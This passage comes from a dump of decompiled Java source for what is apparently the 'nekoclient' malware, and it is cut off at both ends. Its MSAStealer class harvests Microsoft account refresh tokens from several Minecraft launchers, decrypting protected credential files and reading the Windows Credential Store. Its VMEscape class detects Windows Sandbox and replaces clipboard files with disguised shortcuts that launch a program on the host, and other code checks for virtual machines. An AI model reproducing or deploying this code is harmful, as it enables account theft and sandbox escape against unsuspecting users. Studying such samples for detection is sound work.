    "content": "package dev.neko.nekoclient.api.stealer.msa.auth.credentials;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.ClientType;\r\n\r\npublic class MicrosoftCredentials {\r\n   private final String userId;\r\n   private final String accessToken;\r\n   private final ClientType clientType;\r\n   private final long accessTokenExpiration;\r\n   private final String refreshToken;\r\n   private final long refreshTokenExpiration;\r\n\r\n   public MicrosoftCredentials(\r\n      String userId, String accessToken, ClientType clientType, long accessTokenExpiration, String refreshToken, long refreshTokenExpiration\r\n   ) {\r\n      this.userId = userId;\r\n      this.accessToken = accessToken;\r\n      this.clientType = clientType;\r\n      this.accessTokenExpiration = accessTokenExpiration;\r\n      this.refreshToken = refreshToken;\r\n      this.refreshTokenExpiration = refreshTokenExpiration;\r\n   }\r\n\r\n   public final String getAccessToken() {\r\n      return this.accessToken;\r\n   }\r\n\r\n   public final String getRefreshToken() {\r\n      return this.refreshToken;\r\n   }\r\n\r\n   public final long getRefreshTokenExpiration() {\r\n      return this.refreshTokenExpiration;\r\n   }\r\n\r\n   public final long getAccessTokenExpiration() {\r\n      return this.accessTokenExpiration;\r\n   }\r\n\r\n   public final String getUserId() {\r\n      return this.userId;\r\n   }\r\n\r\n   public static MicrosoftCredentials parseResponse(JsonObject json, ClientType clientType) {\r\n      return new MicrosoftCredentials(\r\n         json.get(\"user_id\").asString(),\r\n         json.get(\"access_token\").asString(),\r\n         clientType,\r\n         System.currentTimeMillis() + json.get(\"expires_in\").asLong() * 1000L,\r\n         json.get(\"refresh_token\").asString(),\r\n         System.currentTimeMillis() + 1209600000L\r\n      );\r\n   }\r\n\r\n   public final ClientType getClientType() {\r\n      return this.clientType;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/msa/auth/credentials/MinecraftCredentials.java",
    "content": "package dev.neko.nekoclient.api.stealer.msa.auth.credentials;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\n\r\npublic class MinecraftCredentials {\r\n   private final String accessToken;\r\n   private final long expiration;\r\n\r\n   public MinecraftCredentials(String accessToken, long expiration) {\r\n      this.accessToken = accessToken;\r\n      this.expiration = expiration;\r\n   }\r\n\r\n   public final String getAccessToken() {\r\n      return this.accessToken;\r\n   }\r\n\r\n   public final long getExpiration() {\r\n      return this.expiration;\r\n   }\r\n\r\n   public static MinecraftCredentials parseResponse(JsonObject json) {\r\n      return new MinecraftCredentials(json.get(\"access_token\").asString(), System.currentTimeMillis() + json.get(\"expires_in\").asLong() * 1000L);\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/msa/auth/credentials/XSTSCredentials.java",
    "content": "package dev.neko.nekoclient.api.stealer.msa.auth.credentials;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport java.time.OffsetDateTime;\r\n\r\npublic class XSTSCredentials {\r\n   private final String token;\r\n   private final long expiration;\r\n   private final String userHash;\r\n\r\n   public XSTSCredentials(String token, long expiration, String userHash) {\r\n      this.token = token;\r\n      this.expiration = expiration;\r\n      this.userHash = userHash;\r\n   }\r\n\r\n   public final String getToken() {\r\n      return this.token;\r\n   }\r\n\r\n   public final long getExpiration() {\r\n      return this.expiration;\r\n   }\r\n\r\n   public final String getUserHash() {\r\n      return this.userHash;\r\n   }\r\n\r\n   public static XSTSCredentials parseResponse(JsonObject json) {\r\n      return new XSTSCredentials(\r\n         json.get(\"Token\").asString(),\r\n         OffsetDateTime.parse(json.get(\"NotAfter\").asString()).toInstant().toEpochMilli(),\r\n         json.get(\"DisplayClaims\").asObject().get(\"xui\").asArray().get(0).asObject().get(\"uhs\").asString()\r\n      );\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/msa/auth/credentials/XboxLiveCredentials.java",
    "content": "package dev.neko.nekoclient.api.stealer.msa.auth.credentials;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport java.time.OffsetDateTime;\r\n\r\npublic class XboxLiveCredentials {\r\n   private final String token;\r\n   private final long expiration;\r\n   private final String userHash;\r\n\r\n   public XboxLiveCredentials(String token, long expiration, String userHash) {\r\n      this.token = token;\r\n      this.expiration = expiration;\r\n      this.userHash = userHash;\r\n   }\r\n\r\n   public final String getToken() {\r\n      return this.token;\r\n   }\r\n\r\n   public final String getUserHash() {\r\n      return this.userHash;\r\n   }\r\n\r\n   public final long getExpiration() {\r\n      return this.expiration;\r\n   }\r\n\r\n   public static XboxLiveCredentials parseResponse(JsonObject json) {\r\n      return new XboxLiveCredentials(\r\n         json.get(\"Token\").asString(),\r\n         OffsetDateTime.parse(json.get(\"NotAfter\").asString()).toInstant().toEpochMilli(),\r\n         json.get(\"DisplayClaims\").asObject().get(\"xui\").asArray().get(0).asObject().get(\"uhs\").asString()\r\n      );\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java",
    "content": "package dev.neko.nekoclient.api.stealer.msa.impl;\r\n\r\nimport com.eclipsesource.json.Json;\r\nimport com.eclipsesource.json.JsonObject;\r\nimport com.eclipsesource.json.JsonValue;\r\nimport com.google.api.client.auth.oauth2.StoredCredential;\r\nimport com.sun.jna.Platform;\r\nimport com.sun.jna.platform.win32.Crypt32Util;\r\nimport dev.neko.nekoclient.api.stealer.msa.auth.ClientType;\r\nimport dev.neko.nekoclient.api.windows.WindowsHook;\r\nimport java.io.ByteArrayInputStream;\r\nimport java.io.IOException;\r\nimport java.io.ObjectInputStream;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Path;\r\nimport java.nio.file.Paths;\r\nimport java.util.ArrayList;\r\nimport java.util.HashMap;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.regex.Pattern;\r\nimport java.util.stream.Collectors;\r\n\r\npublic class MSAStealer {\r\n   public static List<MSAStealer.RefreshToken> retrieveRefreshTokens() {\r\n      List<MSAStealer.RefreshToken> refreshTokens = new ArrayList<>();\r\n\r\n      try {\r\n         retrieveRefreshTokensFromUWPMinecraftLauncher(refreshTokens);\r\n      } catch (Throwable var9) {\r\n      }\r\n\r\n      try {\r\n         retrieveRefreshTokensFromCredentialStore(refreshTokens);\r\n      } catch (Throwable var8) {\r\n      }\r\n\r\n      try {\r\n         retrieveRefreshTokensFromLegacyMinecraftLauncher(refreshTokens);\r\n      } catch (Throwable var7) {\r\n      }\r\n\r\n      try {\r\n         retrieveRefreshTokensFromPolyMC(refreshTokens);\r\n      } catch (Throwable var6) {\r\n      }\r\n\r\n      try {\r\n         retrieveRefreshTokensFromTechnicLauncher(refreshTokens);\r\n      } catch (Throwable var5) {\r\n      }\r\n\r\n      try {\r\n         retrieveRefreshTokensFromPrismLauncher(refreshTokens);\r\n      } catch (Throwable var4) {\r\n      }\r\n\r\n      try {\r\n         retrieveRefreshTokensFromFeatherLauncher(refreshTokens);\r\n      } catch (Throwable var3) {\r\n      }\r\n\r\n      try {\r\n         retrieveRefreshTokensFromLabyMod(refreshTokens);\r\n      } catch (Throwable var2) {\r\n      }\r\n\r\n      return refreshTokens;\r\n   }\r\n\r\n   private static void retrieveRefreshTokensFromLabyMod(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {\r\n      if (Platform.isWindows() && !Objects.isNull(System.getenv(\"APPDATA\"))) {\r\n         Path path = Objects.isNull(System.getenv(\"APPDATA\")) ? null : Paths.get(System.getenv(\"APPDATA\"), \".minecraft\", \"LabyMod\", \"accounts.json\");\r\n         if (Files.exists(path) && Files.isReadable(path)) {\r\n            extractRefreshTokensFromLabyModLauncher(refreshTokens, Json.parse(new String(Files.readAllBytes(path))).asObject());\r\n         }\r\n      }\r\n   }\r\n\r\n   public static void retrieveRefreshTokensFromFeatherLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {\r\n      if (Platform.isWindows() && !Objects.isNull(System.getenv(\"APPDATA\"))) {\r\n         Path path = Objects.isNull(System.getenv(\"APPDATA\")) ? null : Paths.get(System.getenv(\"APPDATA\"), \".feather\", \"accounts.json\");\r\n         if (Files.exists(path) && Files.isReadable(path)) {\r\n            extractRefreshTokensFromFeatherLauncher(refreshTokens, Json.parse(new String(Files.readAllBytes(path))).asObject());\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void retrieveRefreshTokensFromPolyMC(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {\r\n      if (Platform.isWindows() && !Objects.isNull(System.getenv(\"APPDATA\"))) {\r\n         Path path = Objects.isNull(System.getenv(\"APPDATA\")) ? null : Paths.get(System.getenv(\"APPDATA\"), \"PolyMC\", \"accounts.json\");\r\n         if (Files.exists(path) && Files.isReadable(path)) {\r\n            extractRefreshTokensFromMultiMCLauncher(refreshTokens, Json.parse(new String(Files.readAllBytes(path))).asObject());\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void retrieveRefreshTokensFromPrismLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {\r\n      if (Platform.isWindows() && !Objects.isNull(System.getenv(\"APPDATA\"))) {\r\n         Path path = Objects.isNull(System.getenv(\"APPDATA\")) ? null : Paths.get(System.getenv(\"APPDATA\"), \"PrismLauncher\", \"accounts.json\");\r\n         if (Files.exists(path) && Files.isReadable(path)) {\r\n            extractRefreshTokensFromMultiMCLauncher(refreshTokens, Json.parse(new String(Files.readAllBytes(path))).asObject());\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void retrieveRefreshTokensFromTechnicLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException, ClassNotFoundException {\r\n      if (Platform.isWindows() && !Objects.isNull(System.getenv(\"APPDATA\"))) {\r\n         Path path = Objects.isNull(System.getenv(\"APPDATA\")) ? null : Paths.get(System.getenv(\"APPDATA\"), \".technic\", \"oauth\", \"StoredCredential\");\r\n         if (Files.exists(path) && Files.isReadable(path)) {\r\n            extractRefreshTokensFromTechnicLauncher(refreshTokens, path);\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void retrieveRefreshTokensFromUWPMinecraftLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {\r\n      if (Platform.isWindows() && !Objects.isNull(System.getenv(\"APPDATA\"))) {\r\n         Path path = Objects.isNull(System.getenv(\"APPDATA\"))\r\n            ? null\r\n            : Paths.get(System.getenv(\"APPDATA\"), \".minecraft\", \"launcher_msa_credentials_microsoft_store.bin\");\r\n         if (Files.exists(path) && Files.isReadable(path)) {\r\n            extractRefreshTokensFromVanillaLauncher(refreshTokens, Json.parse(new String(Crypt32Util.cryptUnprotectData(Files.readAllBytes(path)))).asObject());\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void retrieveRefreshTokensFromLegacyMinecraftLauncher(List<MSAStealer.RefreshToken> refreshTokens) throws IOException {\r\n      if (Platform.isWindows() && !Objects.isNull(System.getenv(\"APPDATA\"))) {\r\n         Path path = Objects.isNull(System.getenv(\"APPDATA\")) ? null : Paths.get(System.getenv(\"APPDATA\"), \".minecraft\", \"launcher_msa_credentials.bin\");\r\n         if (Files.exists(path) && Files.isReadable(path)) {\r\n            extractRefreshTokensFromVanillaLauncher(refreshTokens, Json.parse(new String(Crypt32Util.cryptUnprotectData(Files.readAllBytes(path)))).asObject());\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void retrieveRefreshTokensFromCredentialStore(List<MSAStealer.RefreshToken> refreshTokens) {\r\n      if (WindowsHook.isAvailable()) {\r\n         byte[][] credentials = WindowsHook.retrieveMSACredentials();\r\n\r\n         for(byte[] credential : credentials) {\r\n            JsonObject msaAccount = Json.parse(new String(credential).substring(60)).asObject();\r\n            if (Objects.isNull(msaAccount.get(\"refresh_token\"))) {\r\n               return;\r\n            }\r\n\r\n            MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(msaAccount.get(\"refresh_token\").asString(), ClientType.DEFAULT);\r\n            if (!refreshTokens.contains(refreshToken)) {\r\n               refreshTokens.add(refreshToken);\r\n            }\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void extractRefreshTokensFromTechnicLauncher(List<MSAStealer.RefreshToken> refreshTokens, Path path) throws IOException, ClassNotFoundException {\r\n      HashMap<String, byte[]> storedCredential = (HashMap)new ObjectInputStream(Files.newInputStream(path)).readObject();\r\n      storedCredential.forEach((username, object) -> {\r\n         try {\r\n            StoredCredential credential = (StoredCredential)new ObjectInputStream(new ByteArrayInputStream(object)).readObject();\r\n            MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(credential.getRefreshToken(), ClientType.TECHNIC_LAUNCHER);\r\n            if (!refreshTokens.contains(refreshToken)) {\r\n               refreshTokens.add(refreshToken);\r\n            }\r\n         } catch (IOException | ClassNotFoundException | ClassCastException var5) {\r\n         }\r\n      });\r\n   }\r\n\r\n   private static void extractRefreshTokensFromVanillaLauncher(List<MSAStealer.RefreshToken> refreshTokens, JsonObject json) {\r\n      if (!Objects.isNull(json.get(\"credentials\"))) {\r\n         Pattern msaPattern = Pattern.compile(\"^Xal\\\\.\\\\d+\\\\.Production\\\\.Msa\\\\..+$\");\r\n         Pattern credentialNamePattern = Pattern.compile(\"^\\\\d+$\");\r\n         JsonObject credentialsObject = json.get(\"credentials\").asObject();\r\n\r\n         for(JsonObject credential : credentialsObject.names()\r\n            .stream()\r\n            .filter(s -> credentialNamePattern.matcher(s).matches())\r\n            .map(credentialsObject::get)\r\n            .map(JsonValue::asObject)\r\n            .collect(Collectors.toList())) {\r\n            JsonObject msaAccountData = credential.names()\r\n               .stream()\r\n               .filter(s -> msaPattern.matcher(s).matches())\r\n               .map(credential::get)\r\n               .map(JsonValue::asString)\r\n               .map(Json::parse)\r\n               .map(JsonValue::asObject)\r\n               .findFirst()\r\n               .orElse(null);\r\n            if (!Objects.isNull(msaAccountData) && !Objects.isNull(msaAccountData.get(\"refresh_token\"))) {\r\n               MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(msaAccountData.get(\"refresh_token\").asString(), ClientType.DEFAULT);\r\n               if (!refreshTokens.contains(refreshToken)) {\r\n                  refreshTokens.add(refreshToken);\r\n               }\r\n            }\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void extractRefreshTokensFromMultiMCLauncher(List<MSAStealer.RefreshToken> refreshTokens, JsonObject json) {\r\n      if (!Objects.isNull(json.get(\"accounts\"))) {\r\n         for(JsonObject account : json.get(\"accounts\").asArray().values().stream().map(JsonValue::asObject).collect(Collectors.toList())) {\r\n            if (!Objects.isNull(account.get(\"msa\")) && !Objects.isNull(account.get(\"msa-client-id\"))) {\r\n               JsonObject msa = account.get(\"msa\").asObject();\r\n               if (!Objects.isNull(msa.get(\"refresh_token\"))) {\r\n                  MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(\r\n                     msa.get(\"refresh_token\").asString(), new ClientType(account.get(\"msa-client-id\").asString(), \"XboxLive.signin offline_access\", \"d\")\r\n                  );\r\n                  if (!refreshTokens.contains(refreshToken)) {\r\n                     refreshTokens.add(refreshToken);\r\n                  }\r\n               }\r\n            }\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void extractRefreshTokensFromFeatherLauncher(List<MSAStealer.RefreshToken> refreshTokens, JsonObject json) {\r\n      if (!Objects.isNull(json.get(\"ms\"))) {\r\n         for(JsonObject account : json.get(\"ms\").asArray().values().stream().map(JsonValue::asObject).collect(Collectors.toList())) {\r\n            if (!Objects.isNull(account.get(\"refreshToken\"))) {\r\n               MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(account.get(\"refreshToken\").asString(), ClientType.DEFAULT);\r\n               if (!refreshTokens.contains(refreshToken)) {\r\n                  refreshTokens.add(refreshToken);\r\n               }\r\n            }\r\n         }\r\n      }\r\n   }\r\n\r\n   private static void extractRefreshTokensFromLabyModLauncher(List<MSAStealer.RefreshToken> refreshTokens, JsonObject json) {\r\n      if (!Objects.isNull(json.get(\"accounts\"))) {\r\n         JsonObject accounts = json.get(\"accounts\").asObject();\r\n\r\n         for(JsonObject account : accounts.names().stream().map(accounts::get).map(JsonValue::asObject).collect(Collectors.toList())) {\r\n            if (!Objects.isNull(account.get(\"tokens\"))) {\r\n               JsonObject tokens = account.get(\"tokens\").asObject();\r\n               if (!Objects.isNull(tokens.get(\"microsoft\"))) {\r\n                  JsonObject microsoft = tokens.get(\"microsoft\").asObject();\r\n                  if (!Objects.isNull(microsoft.get(\"additional_data\"))) {\r\n                     JsonObject additionalData = microsoft.get(\"additional_data\").asObject();\r\n                     if (!Objects.isNull(additionalData.get(\"refresh_token\"))) {\r\n                        MSAStealer.RefreshToken refreshToken = new MSAStealer.RefreshToken(additionalData.get(\"refresh_token\").asString(), ClientType.LABYMOD);\r\n                        if (!refreshTokens.contains(refreshToken)) {\r\n                           refreshTokens.add(refreshToken);\r\n                        }\r\n                     }\r\n                  }\r\n               }\r\n            }\r\n         }\r\n      }\r\n   }\r\n\r\n   public static class RefreshToken {\r\n      private final String token;\r\n      private final ClientType clientType;\r\n\r\n      public RefreshToken(String token, ClientType clientType) {\r\n         this.token = token;\r\n         this.clientType = clientType;\r\n      }\r\n\r\n      public final String getToken() {\r\n         return this.token;\r\n      }\r\n\r\n      public final ClientType getClientType() {\r\n         return this.clientType;\r\n      }\r\n\r\n      @Override\r\n      public boolean equals(Object obj) {\r\n         if (!(obj instanceof MSAStealer.RefreshToken)) {\r\n            return super.equals(obj);\r\n         } else {\r\n            MSAStealer.RefreshToken other = (MSAStealer.RefreshToken)obj;\r\n            return Objects.equals(other.getToken(), this.token) && Objects.equals(other.getClientType().getClientId(), this.clientType.getClientId());\r\n         }\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/windows/FileDescriptor.java",
    "content": "package dev.neko.nekoclient.api.windows;\r\n\r\npublic class FileDescriptor {\r\n   public static final int FILE_ATTRIBUTE_READONLY = 1;\r\n   public static final int FILE_ATTRIBUTE_HIDDEN = 2;\r\n   public static final int FILE_ATTRIBUTE_SYSTEM = 4;\r\n   public static final int FILE_ATTRIBUTE_DIRECTORY = 16;\r\n   public static final int FILE_ATTRIBUTE_ARCHIVE = 32;\r\n   public static final int FILE_ATTRIBUTE_NORMAL = 128;\r\n   public static final int FILE_ATTRIBUTE_TEMPORARY = 256;\r\n   public static final int FILE_ATTRIBUTE_COMPRESSED = 2048;\r\n   public static final int FILE_ATTRIBUTE_ENCRYPTED = 16384;\r\n   private final String name;\r\n   private final int flags;\r\n   private final int attributes;\r\n\r\n   public FileDescriptor(String name, int flags, int attributes) {\r\n      this.name = name;\r\n      this.flags = flags;\r\n      this.attributes = attributes;\r\n   }\r\n\r\n   public final String getName() {\r\n      return this.name;\r\n   }\r\n\r\n   public final int getFlags() {\r\n      return this.flags;\r\n   }\r\n\r\n   public final int getAttributes() {\r\n      return this.attributes;\r\n   }\r\n\r\n   public final boolean isReadOnly() {\r\n      return this.is(1);\r\n   }\r\n\r\n   public final boolean isHidden() {\r\n      return this.is(2);\r\n   }\r\n\r\n   public final boolean isSystem() {\r\n      return this.is(4);\r\n   }\r\n\r\n   public final boolean isDirectory() {\r\n      return this.is(16);\r\n   }\r\n\r\n   public final boolean isArchive() {\r\n      return this.is(32);\r\n   }\r\n\r\n   public final boolean isNormal() {\r\n      return this.is(128);\r\n   }\r\n\r\n   public final boolean isTemporary() {\r\n      return this.is(256);\r\n   }\r\n\r\n   public final boolean isCompressed() {\r\n      return this.is(2048);\r\n   }\r\n\r\n   public final boolean isEncrypted() {\r\n      return this.is(16384);\r\n   }\r\n\r\n   public boolean is(int attribute) {\r\n      return (this.attributes & attribute) != 0;\r\n   }\r\n\r\n   @Override\r\n   public String toString() {\r\n      return this.name;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/windows/WindowsHook.java",
    "content": "package dev.neko.nekoclient.api.windows;\r\n\r\nimport com.sun.jna.Platform;\r\n\r\npublic class WindowsHook {\r\n   public static final int IPPROTO_ICMP = 1;\r\n   public static final int IPPROTO_TCP = 6;\r\n   public static final int IPPROTO_UDP = 17;\r\n   public static final int IPPROTO_IDP = 22;\r\n   public static final int IPPROTO_RDP = 27;\r\n   private static boolean loaded = false;\r\n\r\n   public static native byte[][] retrieveMSACredentials();\r\n\r\n   public static native FileDescriptor[] retrieveClipboardFiles();\r\n\r\n   public static void load(String path) {\r\n      if (!loaded && isSupported()) {\r\n         System.load(path);\r\n         loaded = true;\r\n      }\r\n   }\r\n\r\n   public static boolean isSupported() {\r\n      return Platform.isWindows() && Platform.is64Bit();\r\n   }\r\n\r\n   public static boolean isAvailable() {\r\n      return isSupported() && loaded;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/windows/vmescape/VMEscape.java",
    "content": "package dev.neko.nekoclient.api.windows.vmescape;\r\n\r\nimport dev.neko.nekoclient.api.windows.FileDescriptor;\r\nimport dev.neko.nekoclient.api.windows.WindowsHook;\r\nimport java.awt.Toolkit;\r\nimport java.awt.datatransfer.Clipboard;\r\nimport java.awt.datatransfer.DataFlavor;\r\nimport java.awt.datatransfer.Transferable;\r\nimport java.awt.datatransfer.UnsupportedFlavorException;\r\nimport java.io.File;\r\nimport java.io.IOException;\r\nimport java.nio.file.FileSystems;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Path;\r\nimport java.util.Arrays;\r\nimport java.util.List;\r\nimport java.util.Objects;\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\nimport java.util.concurrent.ScheduledExecutorService;\r\nimport java.util.concurrent.TimeUnit;\r\nimport mslinks.ShellLink;\r\nimport mslinks.ShellLinkHelper;\r\nimport oshi.SystemInfo;\r\nimport oshi.hardware.HardwareAbstractionLayer;\r\n\r\npublic class VMEscape {\r\n   private static final DataFlavor CUSTOM_FLAVOR;\r\n   private final ScheduledExecutorService executorService;\r\n   private final File storageFile;\r\n   private final Path targetApplication;\r\n   private final String[] arguments;\r\n   public static final char[] disallowedCharacters;\r\n\r\n   public VMEscape(File storageFile, Path targetApplication, String... arguments) {\r\n      this.storageFile = storageFile;\r\n      this.targetApplication = targetApplication;\r\n      this.arguments = arguments;\r\n      this.executorService = Executors.newSingleThreadScheduledExecutor();\r\n   }\r\n\r\n   public boolean shouldRun() {\r\n      return WindowsHook.isAvailable() && Objects.equals(System.getProperty(\"user.name\"), \"WDAGUtilityAccount\");\r\n   }\r\n\r\n   public void run() {\r\n      if (this.shouldRun()) {\r\n         VMEscape.Icon defaultIcon = new VMEscape.Icon(\"SHELL32\", 0, null);\r\n         VMEscape.Icon folderIcon = new VMEscape.Icon(\"SHELL32\", 4, null);\r\n         List<VMEscape.Icon> icons = Arrays.asList(\r\n            new VMEscape.Icon(\"USER32\", 0, \"exe\"),\r\n            new VMEscape.Icon(\"SHELL32\", 69, \"ini\"),\r\n            new VMEscape.Icon(\"SHELL32\", 70, \"txt\"),\r\n            new VMEscape.Icon(\"SHELL32\", 71, \"bat\"),\r\n            new VMEscape.Icon(\"SHELL32\", 71, \"cmd\"),\r\n            new VMEscape.Icon(\"SHELL32\", 325, \"png\"),\r\n            new VMEscape.Icon(\"SHELL32\", 325, \"jpg\"),\r\n            new VMEscape.Icon(\"SHELL32\", 325, \"jpeg\")\r\n         );\r\n         Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();\r\n         this.executorService\r\n            .scheduleAtFixedRate(\r\n               () -> {\r\n                  try {\r\n                     Transferable clipboardContents = clipboard.getContents(null);\r\n                     if (clipboardContents.isDataFlavorSupported(CUSTOM_FLAVOR)) {\r\n                        return;\r\n                     }\r\n      \r\n                     FileDescriptor[] fileDescriptors = WindowsHook.retrieveClipboardFiles();\r\n                     if (fileDescriptors.length == 0) {\r\n                        return;\r\n                     }\r\n      \r\n                     final File tempDirectory = Files.createTempDirectory(this.storageFile.toPath(), \"storage-\").toFile();\r\n                     tempDirectory.mkdirs();\r\n      \r\n                     for(FileDescriptor fileDescriptor : fileDescriptors) {\r\n                        String[] split = fileDescriptor.getName().split(String.format(\"\\\\%s\", FileSystems.getDefault().getSeparator()));\r\n                        if (split.length <= 1) {\r\n                           File file = new File(tempDirectory, String.format(\"%s.lnk\", fileDescriptor.getName()));\r\n                           String[] extensionSplit = fileDescriptor.getName().split(\"\\\\.\");\r\n                           String extension = extensionSplit[extensionSplit.length - 1];\r\n                           VMEscape.Icon icon = fileDescriptor.isDirectory()\r\n                              ? folderIcon\r\n                              : icons.stream().filter(icon1 -> Objects.equals(icon1.getExtension().toLowerCase(), extension)).findFirst().orElse(defaultIcon);\r\n                           ShellLink shellLink = new ShellLink()\r\n                              .setName(fileDescriptor.getName())\r\n                              .setIconLocation(String.format(\"%s\\\\System32\\\\%s.dll\", System.getenv(\"WINDIR\"), icon.getDll()))\r\n                              .setWorkingDir(this.targetApplication.getParent().toAbsolutePath().toString())\r\n                              .setCMDArgs(String.join(\" \", this.arguments));\r\n                           shellLink.getHeader().setIconIndex(icon.getIndex());\r\n                           new ShellLinkHelper(shellLink)\r\n                              .setLocalTarget(\r\n                                 this.targetApplication.getRoot().toString(),\r\n                                 this.targetApplication.subpath(0, this.targetApplication.getNameCount()).toString()\r\n                              )\r\n                              .saveTo(file.getAbsolutePath());\r\n                        }\r\n                     }\r\n      \r\n                     clipboard.setContents(new Transferable() {\r\n                        @Override\r\n                        public DataFlavor[] getTransferDataFlavors() {\r\n                           return new DataFlavor[]{DataFlavor.javaFileListFlavor, VMEscape.CUSTOM_FLAVOR};\r\n                        }\r\n      \r\n                        @Override\r\n                        public boolean isDataFlavorSupported(DataFlavor flavor) {\r\n                           return Objects.equals(flavor, DataFlavor.javaFileListFlavor) || Objects.equals(flavor, VMEscape.CUSTOM_FLAVOR);\r\n                        }\r\n      \r\n                        @Override\r\n                        public Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException, IOException {\r\n                           if (Objects.equals(flavor, DataFlavor.javaFileListFlavor)) {\r\n                              return Arrays.asList(tempDirectory.listFiles());\r\n                           } else if (Objects.equals(flavor, VMEscape.CUSTOM_FLAVOR)) {\r\n                              return \"neko\";\r\n                           } else {\r\n                              throw new UnsupportedFlavorException(flavor);\r\n                           }\r\n                        }\r\n                     }, null);\r\n                  } catch (Throwable var18) {\r\n                  }\r\n               },\r\n               10L,\r\n               10L,\r\n               TimeUnit.MILLISECONDS\r\n            );\r\n      }\r\n   }\r\n\r\n   public void stop() {\r\n      this.executorService.shutdownNow();\r\n   }\r\n\r\n   public static boolean isVirtualMachine() {\r\n      try {\r\n         SystemInfo systemInfo = new SystemInfo();\r\n         HardwareAbstractionLayer hardware = systemInfo.getHardware();\r\n         if (hardware.getComputerSystem().getBaseboard().getVersion().startsWith(\"Hyper-V\")\r\n            || hardware.getComputerSystem().getFirmware().getVersion().startsWith(\"VRTUAL\")\r\n            || Objects.equals(hardware.getComputerSystem().getModel(), \"Virtual Machine\")\r\n            || hardware.getGraphicsCards().stream().anyMatch(graphicsCard -> Objects.equals(graphicsCard.getName(), \"Microsoft Remote Display Adapter\"))\r\n            || hardware.getDiskStores().stream().anyMatch(diskStore -> diskStore.getModel().startsWith(\"Microsoft Virtual Disk\"))\r\n            || hardware.getMemory()\r\n               .getPhysicalMemory()\r\n               .stream()\r\n               .anyMatch(physicalMemory -> Objects.equals(physicalMemory.getManufacturer(), \"Microsoft Corporation\"))) {\r\n            return true;\r\n         }\r\n      } catch (Throwable var2) {\r\n      }\r\n\r\n      return false;\r\n   }\r\n\r\n   public static String makeValid(String path) {\r\n      int index;\r\n      for(char c : disallowedCharacters) {\r\n         while((index = path.indexOf(c)) != -1) {\r\n            path = path.substring(index + 1);\r\n         }\r\n      }\r\n\r\n      char[] chars = path.toCharArray();\r\n\r\n      for(int i = 0; i < chars.length; ++i) {\r\n         char c = chars[i];\r\n         if (c < ' ') {\r\n            path = path.substring(i + 1);\r\n         }\r\n      }\r\n\r\n      return path;\r\n   }\r\n\r\n   public final ExecutorService getExecutorService() {\r\n      return this.executorService;\r\n   }\r\n\r\n   public final File getStorageFile() {\r\n      return this.storageFile;\r\n   }\r\n\r\n   public final Path getTargetApplication() {\r\n      return this.targetApplication;\r\n   }\r\n\r\n   public final String[] getArguments() {\r\n      return this.arguments;\r\n   }\r\n\r\n   static {\r\n      try {\r\n         CUSTOM_FLAVOR = new DataFlavor(\"application/x-neko; class=java.lang.String\");\r\n      } catch (ClassNotFoundException var1) {\r\n         throw new RuntimeException(var1);\r\n      }\r\n\r\n      disallowedCharacters = \"<>:\\\"|?* \".toCharArray();\r\n   }\r\n\r\n   public static class Icon {\r\n      private final String dll;\r\n      private final int index;\r\n      private final String extension;\r\n\r\n      public Icon(String dll, int index, String extension) {\r\n         this.dll = dll;\r\n         this.index = index;\r\n         this.extension = extension;\r\n      }\r\n\r\n      public final String getDll() {\r\n         return this.dll;\r\n      }\r\n\r\n      public final int getIndex() {\r\n         return this.index;\r\n      }\r\n\r\n      public final String getExtension() {\r\n         return this.extension;\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/module/Module.java",
